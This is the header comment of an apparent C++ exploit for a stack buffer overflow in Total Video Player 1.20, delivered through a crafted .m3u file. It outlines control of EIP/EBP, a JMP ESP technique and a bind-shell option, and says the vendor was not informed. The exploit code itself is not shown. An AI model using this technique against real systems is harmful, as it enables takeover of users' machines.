C++:
/*0day Total Video Player V1.20 .M3u File Local Stack Buffer Overflow
This exploit spawns Calc.exe or binds a port and spawns a shell and tested on Windows Xp sp 2.
I got the ideea to look in a prior version of TVP and
surprinse vuln to ,just as V1.30.
When parsing a crafted .m3u file stack gets corrupted,due a
long string,and causes a stack overflow.We get control of the EBP and
EIP registers.The ESP register points exactly after the retaddress position.
[corrupted stack] [EIP->points here][ESP->points here]
So do a jmp back and a JMP ESP and it points to a specific part of
the stack that I want.Credits to finding this bug && sploit go to fl0 fl0w.
Vendor not informed yet.
Special THANKS to Expanders !!!!
